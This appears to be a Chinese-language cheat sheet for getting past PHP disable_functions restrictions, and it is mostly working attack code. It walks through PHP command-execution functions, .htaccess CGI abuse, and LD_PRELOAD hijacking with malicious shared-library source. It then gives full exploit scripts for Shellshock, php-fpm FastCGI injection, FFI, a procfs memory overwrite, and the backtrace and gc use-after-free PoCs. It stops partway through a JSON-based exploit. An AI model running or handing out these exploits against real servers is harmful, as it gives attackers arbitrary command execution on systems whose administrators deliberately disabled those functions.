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解锁知识！！！！！
黑名单bypass
命令执行函数
/*
system函数：
功能：执行外部程序，并且显示输出
返回值：成功则返回命令输出的最后一行，失败则返回 FALSE
*/
system("ls");/*
shell_exec函数：
功能：通过 shell 环境执行命令，并且将完整的输出以字符串的方式返回。
返回值：命令执行的输出。如果执行过程中发生错误或者进程不产生输出，则返回 NULL。（当进程执行过程中发生错误，或者进程不产生输出的情况下，都会返回 NULL，所以，使用本函数无法通过返回值检测进程是否成功执行。 如果需要检查进程执行的退出码，请使用 exec() 函数。）
*/
echo shell_exec("ls");
echo `ls`;
/*
exec函数：
功能：执行一个外部程序
返回值：命令执行结果的最后一行内容。想要获取命令的输出内容，请确保使用output参数。
*/
//exec(string $command [,array &$output [,int &$return_var ]])
exec("ls",$output);print_r($output);
/*
passthru函数：
功能：执行外部程序并且显示原始输出
返回值：没有返回值。
当所执行的 Unix 命令输出二进制数据， 并且需要直接传送到浏览器的时候， 需要用此函数来替代 exec() 或 system()函数
*/
passthru("ls");
/*
popen函数：
功能：打开进程文件指针
返回值：返回一个和 fopen() 所返回的相同的文件指针，只不过它是单向的（只能用于读或写）并且必须用 pclose() 来关闭。此指针可以用于 fgets()，fgetss() 和 fwrite()。当模式为 'r'，返回的文件指针等于命令的STDOUT，当模式为 'w'，返回的文件指针等于命令的 STDIN。
如果出错返回 FALSE。
*/
$f = @popen("ls","r");
$res = "";
while(!@feof($f)){
$res .= @fread($f,1024);
}
@pclose($f);
/*proc_open函数：
功能：执行一个命令，并且打开用来输入/输出的文件指针。
返回值：返回表示进程的资源类型，当使用完毕之后，请调用proc_close()函数来关闭此资源。如果失败，返回FALSE。
*/
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open("ls", $descriptorspec, $pipes, null, null);
fwrite($pipes[0], '$stdin');
fclose($pipes[0]);
$res = stream_get_contents($pipes[1]);
/*pcntl_exec函数：
功能：在当前进程空间执行指定程序
返回值：当发生错误时返回FALSE ，没有错误时没有返回。
pcntl_exec(string $path [, array $args [, array $envs ]] )
$path：可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本（比如文件第一行是#!/usr/local/bin/perl的perl脚本）
$args：程序的参数的字符串数组。
$envs：作为环境变量的字符串数组。这个数组是 key => value格式的，key代表要传递的环境变量的名称，value代表该环境变量值。
*/
//$cmdfile为存放命令的文件地址
//$outfile为命令结果文件地址
$cmd_arr = array($cmdfile, $outfile);
pcntl_exec("/bin/bash", array($cmd_arr[0]));
readfile($cmd_arr[1]);
/*dl函数：
功能：运行时载入一个 PHP 扩展
返回值：成功时返回 TRUE， 或者在失败时返回 FALSE。 如果加载模块的功能是无效或者禁用的（既可以通过设置关闭 enable_dl 设置，也可以通过启用 php.ini 里的 安全模式）将导致一个 E_ERROR 并中断执行。 如果因为指定的库无法加载而导致 dl() 失败，除了返回 FALSE，还会产生一个 E_WARNING 的消息。
*/
默认加载php.ini里extension_dir的文件夹里，但是可以利用../带出来
enable_dl=On方可能用
上传恶意php扩展文件，并且用dl函数加载这个文件，然后利用里面的函数执行其他操作，包括系统命令。
dl()
.htaccess调用cgi
前提：
-
apache开启cgi_module -
AllowOverride -
.htaccess文件可写
1.上传.htaccess文件
Options +ExecCGI
AddHandler cgi-script .sh2.上传exp.sh文件
#!/bin/bash
echo&ls
3.访问即可
LD_PRELOAD
LD_PRELOAD，是个环境变量，用于动态库的加载，动态库加载的优先级最高，一般情况下，其加载顺序为LD_PRELOAD>LD_LIBRARY_PATH>/etc/ld.so.cache>/lib>/usr/lib。
利用LD_RELOAD进行bypass的思路是：将LD_PRELOAD指向恶意.so文件，从而挟持正常函数。
绕过前提：
-
能够上传自己的so文件 -
能够控制环境变量的值（如php函数：putenv） -
存在可以控制php启动外部程序的函数并能执行(如：mail()，imap_mail(),mb_send_mail()和error_log()等)
当执行未被禁止的PHP函数，并且该函数调用了恶意库中重写的系统函数，就可以达到任意执行系统命令的效果了，因为重写的系统函数中的内容是我们可控的，对这部分内容进行编程即可。
1.生成恶意.so文件
-
覆盖正常函数：
以mail函数为例：
strace -f php -r "mail('','','','');" 2>&1 | grep -E "execve|fork|vfork"
查看mail函数有无执行程序或启动新进程。
发现启动了sendmail，然后用readelf -Ws查看sendmail程序的系统函数调用情况。
这里选取getgid。
man 2 getgid
查看getgid系统函数需要什么头文件和格式，从写出相应的伪造代码
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int getgid() {
unsetenv("LD_PRELOAD");
system(getenv("cmd"));
}
gcc --share -fPIC 1.c -o bad.so
从而生成恶意.so文件
-
或利用constructor（个人更推荐）:
这样只需找到能启动新程序的php函数即可。
/*GNU C的一大特色就是__attribute__机制，可以设置函数属性（Attribute）,变量属性(Variable Attribute)和类型属性(Type Attribute).*/
/*__attribute__((attribute-list))
当参数为constructor时，就可以在加载共享库时运行。
当参数为destructor时，会在main()函数执行之后，或exit()函数调用后自动执行。
*/
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__((__constructor__)) void zxhy (void)
{
for(int i = 0;environ[i];i ++) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '';
}
}
system(getenv("cmd"));
}
/*
php运行中只要有新程序启动就可执行
*/
生成动态链接库文件如上
2.上传恶意.so文件
-
连上蚁剑或者菜刀直接上传 -
利用原来存在的shell上传点去上传 -
或写进去一个新的上传点
3.写入php利用脚本
<?php
putenv("cmd=ls > 1.txt");
putenv("LD_PRELOAD=./bad.so");
mail('','','','');//函数可换
//error_log('',1);
//mb_send_mail函数php-mbstring模块
//imap_mail函数php-imap模块
//libvirt_connect函数php-libvirt-php模块
//gnupg_init函数php-gnupg模块
4.访问php利用脚本
访问php脚本运行后，可通过访问1.txt来获取执行命令的结果
ShellShock(CVE-2014-6271)
前提：
-
允许用户定义环境变量 -
服务会调用bash（创建bash子进程） -
服务调用子bash时加载了用户定义的环境变量
bash 4.3及以前会将以"(){"开头的环境变量解析为函数,解析后bash不会退出,会继续执行.故而可构造payload达到命令执行.
所以可以利用php的putenv函数
putenv("PHP_XXX=() { x; }; ls > 1.txt ");
mb_send_mail('','','');
访问1.txt即可得到ls的内容
exploit-db上的脚本：
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
<pre>
<?php echo "Disabled functions: ".ini_get('disable_functions')."n"; ?>
<?php
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @ mail.c:283
if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variables whose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variables that
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,
// PHP will let the user modify ANY environment variable!
mail("[email protected]","","","","-bv"); // -bv so we don't actually send any mail
}
else return "Not vuln (not bash)";
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
php-fpm
fsockopen与pfsockopen函数功能一样
利用灵活，应用范围广
配置文件地址（可查fpm端口）:
/usr/local/etc/php-fpm.d/www.conf
查看phpinfo，Server API为FPM/FastCGI
跑p神的脚本或用蚁剑的插件。本质是通过fastcgi协议直接与php-fpm交流。
usage: fpm.py [-c CODE] [-p PORT] host file
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION)
+ bchr(fcgi_type)
+ bchr((requestid >> 8) & 0xFF)
+ bchr(requestid & 0xFF)
+ bchr((length >> 8) & 0xFF)
+ bchr(length & 0xFF)
+ bchr(0)
+ bchr(0)
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80)
+ bchr((nLen >> 16) & 0xFF)
+ bchr((nLen >> 8) & 0xFF)
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80)
+ bchr((vLen >> 16) & 0xFF)
+ bchr((vLen >> 8) & 0xFF)
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0)
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER)
+ bchr(self.keepalive)
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),#important
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))
FFI
方法非常灵活，可以看一下手册
https://www.php.net/manual/en/class.ffi.php
<?php
$ffi = FFI::cdef(
"int system(const char *command);",
"libc.so.6");
$ffi->system("id");
?>
或者
<?php
$ffi = FFI::cdef(
"int system(const char *command);",
"/var/www/html/bad.so");
?>
bad.so源代码可以写
#include <stdlib.h>
__attribute__((constructor)) void xxx(){
system("ls");
}
phpbug
根据实际情况可以微调代码
关注最新bug
procfts-bypass
backtrace-bypass:7.0-7.4
gc-bypass:7.0-7.3
json-bypass:7.1-7.3
procfs_bypass
<?php
/*
$libc_ver:
beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc
7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386 /lib/x86_64-linux-gnu/libc-2.19.so
$open_php:
beched@linuxoid ~ $ objdump -R /usr/bin/php | grep 'sopen$'
0000000000e94998 R_X86_64_JUMP_SLOT open
$system_offset and $open_offset:
beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "s(system|open)@@"
1337: 0000000000046530 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5
1679: 00000000000ec150 90 FUNC WEAK DEFAULT 12 open@@GLIBC_2.2.5
*/
function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
function unp($value) {
return hexdec(bin2hex(strrev($value)));
}
function parseelf($bin_ver, $rela = false) {
$bin = file_get_contents($bin_ver);
$e_shoff = unp(substr($bin, 0x28, 8));
$e_shentsize = unp(substr($bin, 0x3a, 2));
$e_shnum = unp(substr($bin, 0x3c, 2));
$e_shstrndx = unp(substr($bin, 0x3e, 2));
for($i = 0; $i < $e_shnum; $i += 1) {
$sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
if($sh_type == 11) { // SHT_DYNSYM
$dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
$strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
}
elseif($rela && $sh_type == 4) { // SHT_RELA
$relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
}
if($rela) {
for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
$r_offset = unp(substr($bin, $i, 8));
$r_info = unp(substr($bin, $i + 8, 8)) >> 32;
$name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "") {
$name .= $bin[$j];
}
if($name == 'open') {
return $r_offset;
}
}
}
else {
for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
$name_off = unp(substr($bin, $i, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "") {
$name .= $bin[$j];
}
if($name == '__libc_system') {
$system_offset = unp(substr($bin, $i + 8, 8));
}
if($name == '__open') {
$open_offset = unp(substr($bin, $i + 8, 8));
}
}
return array($system_offset, $open_offset);
}
}
echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)n";
if(strpos(php_uname('a'), 'x86_64') === false) {
echo "[-] This exploit is for x64 Linux. Exitingn";
exit;
}
if(substr(php_uname('r'), 0, 4) < 2.98) {
echo "[-] Too old kernel (< 2.98). Might not workn";
}
echo "[*] Trying to get open@plt offset in PHP binaryn";
$open_php = parseelf('/proc/self/exe', true);
if($open_php == 0) {
echo "[-] Failed. Exitingn";
exit;
}
echo '[+] Offset is 0x' . dechex($open_php) . "n";
$maps = file_get_contents('/proc/self/maps');
preg_match('#s+(/.+libc-.+)#', $maps, $r);
echo "[*] Libc location: $r[1]n";
$pie_base = hexdec(explode('-', $maps)[0]);
echo '[*] PIE base: 0x' . dechex($pie_base) . "n";
echo "[*] Trying to get open and system symbols from Libcn";
list($system_offset, $open_offset) = parseelf($r[1]);
if($system_offset == 0 or $open_offset == 0) {
echo "[-] Failed. Exitingn";
exit;
}
echo "[+] Got them. Seeking for address in memoryn";
$mem = fopen('/proc/self/mem', 'rb');
fseek($mem, $pie_base + $open_php);
$open_addr = unp(fread($mem, 8));
echo '[*] open@plt addr: 0x' . dechex($open_addr) . "n";
$libc_start = $open_addr - $open_offset;
$system_addr = $libc_start + $system_offset;
echo '[*] system@plt addr: 0x' . dechex($system_addr) . "n";
echo "[*] Rewriting open@plt addressn";
$mem = fopen('/proc/self/mem', 'wb');
fseek($mem, $pie_base + $open_php);
if(fwrite($mem, packlli($system_addr))) {
echo "[+] Address written. Executing cmdn";
readfile('/usr/bin/id');
exit;
}
echo "[-] Write failed. Exitingn";
backtrace
<?php
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1
pwn("uname -a");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
gc
<?php
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1
pwn("uname -a");
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
json
<?php
$cmd = "id";
$n_alloc = 10; # increase this value if you get segfaults
class MySplFixedArray extends SplFixedArray {
public static $leak;
}
class Z implements JsonSerializable {
public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
